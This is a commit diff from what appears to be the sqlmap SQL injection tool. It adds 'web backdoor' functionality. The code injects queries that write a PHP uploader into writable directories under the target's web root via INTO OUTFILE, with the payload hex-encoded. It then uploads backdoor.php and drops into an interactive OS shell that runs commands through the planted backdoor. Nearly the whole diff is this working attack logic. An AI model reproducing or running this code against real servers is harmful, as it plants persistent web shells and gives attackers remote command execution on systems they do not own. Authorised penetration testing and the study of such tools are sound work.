Almost done with web backdoor functionality

This commit is contained in:
Bernardo Damele 2009-04-28 11:05:07 +00:00
parent 16b4530bbe
commit 1d7de719b9
4 changed files with 69 additions and 76 deletions

View File

@ -225,6 +225,7 @@ def getHtmlErrorFp():
def getDocRoot(): def getDocRoot():
docRoot = None docRoot = None
pagePath = os.path.dirname(conf.path)
if kb.os == "Windows": if kb.os == "Windows":
defaultDocRoot = "C:\\Inetput\\wwwroot\\" defaultDocRoot = "C:\\Inetput\\wwwroot\\"
@ -241,8 +242,8 @@ def getDocRoot():
absFilePath = os.path.normpath(absFilePath) absFilePath = os.path.normpath(absFilePath)
if os.path.dirname(conf.path) in absFilePath: if pagePath in absFilePath:
index = absFilePath.index(conf.path) index = absFilePath.index(pagePath)
docRoot = absFilePath[:index] docRoot = absFilePath[:index]
if absFilePathWin: if absFilePathWin:

View File

@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re import re
from lib.core.data import conf from lib.core.data import conf
@ -79,4 +80,4 @@ def parseResponse(page, headers):
for absFilePath in absFilePaths: for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths: if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath) kb.absFilePaths.add(os.path.dirname(absFilePath))

View File

@ -160,9 +160,9 @@ class Connect:
logger.log(9, requestMsg) logger.log(9, requestMsg)
# Get HTTP response # Get HTTP response
page = conn.read() page = conn.read()
code = conn.code code = conn.code
status = conn.msg status = conn.msg
responseHeaders = conn.info() responseHeaders = conn.info()
except urllib2.HTTPError, e: except urllib2.HTTPError, e:

View File

@ -33,6 +33,7 @@ from lib.core.common import getDirs
from lib.core.common import getDocRoot from lib.core.common import getDocRoot
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import hexencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -79,34 +80,56 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
return output return output
def __webBackdoorOsShell(self): def __webBackdoorShell(self, backdoorUrl):
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.__webBackdoorRunCmd(backdoorUrl, command)
def __webBackdoorInit(self):
""" """
This method is used to write a PHP agent (cmd.php) on a writable This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root. remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS Such agent is written using the INTO OUTFILE MySQL DBMS
functionality functionality
@todo:
* Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
""" """
self.checkDbmsOs() self.checkDbmsOs()
backdoorUrl = None
kb.docRoot = getDocRoot() kb.docRoot = getDocRoot()
directories = getDirs() directories = getDirs()
directories = list(directories)
directories.sort()
infoMsg = "trying to upload the uploader agent" infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg) logger.info(infoMsg)
directories = list(directories)
directories.sort()
uploaded = False
# TODO: backdoor and uploader extensions must be the same as of # TODO: backdoor and uploader extensions must be the same as of
# the web application language in use # the web application language in use
backdoorName = "backdoor.php" backdoorName = "backdoor.php"
@ -120,29 +143,22 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
sep = "/" sep = "/"
for directory in directories: for directory in directories:
if uploaded:
break
# Upload the uploader agent # Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) outFile = os.path.normpath("%s%s%s" % (directory, sep, uploaderName))
query = " LIMIT 1 INTO DUMPFILE '%s%s%s' " % (directory, sep, uploaderName) uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(" %s" % query) query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
page = Request.queryPage(payload) page = Request.queryPage(payload)
requestDir = directory.replace(kb.docRoot, "/").replace("\\", "/")
requestDir = os.path.normpath(requestDir)
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName) uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
uploaderUrl = os.path.normpath(uploaderUrl) uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
page, _ = Request.getPage(url=uploaderUrl, direct=True) if "sqlmap backdoor uploader" not in uplPage:
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader " warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg) logger.warn(warnMsg)
@ -159,7 +175,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
"file": open(backdoorPath, "r"), "file": open(backdoorPath, "r"),
"uploadDir": directory, "uploadDir": directory,
} }
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, multipart=multipartParams) page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page: if "Backdoor uploaded" not in page:
@ -169,7 +184,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
continue continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName) backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
infoMsg = "the backdoor has been successfully uploaded on " infoMsg = "the backdoor has been successfully uploaded on "
@ -177,42 +191,9 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
infoMsg += "'%s' and enjoy it!" % backdoorUrl infoMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg) logger.info(infoMsg)
if conf.osShell: break
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"): return backdoorUrl
continue
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.__webBackdoorRunCmd(backdoorUrl, command)
def uploadChurrasco(self): def uploadChurrasco(self):
@ -243,10 +224,17 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
stackedTest() stackedTest()
if kb.stackedTest == False: if kb.stackedTest == False:
return infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
self.initEnv() backdoorUrl = self.__webBackdoorInit()
self.runCmd(conf.osCmd)
if backdoorUrl:
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
else:
self.initEnv()
self.runCmd(conf.osCmd)
def osShell(self): def osShell(self):
@ -257,7 +245,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
infoMsg += "execution" infoMsg += "execution"
logger.info(infoMsg) logger.info(infoMsg)
self.__webBackdoorOsShell() backdoorUrl = self.__webBackdoorInit()
if backdoorUrl:
self.__webBackdoorShell(backdoorUrl)
else: else:
self.initEnv() self.initEnv()
self.absOsShell() self.absOsShell()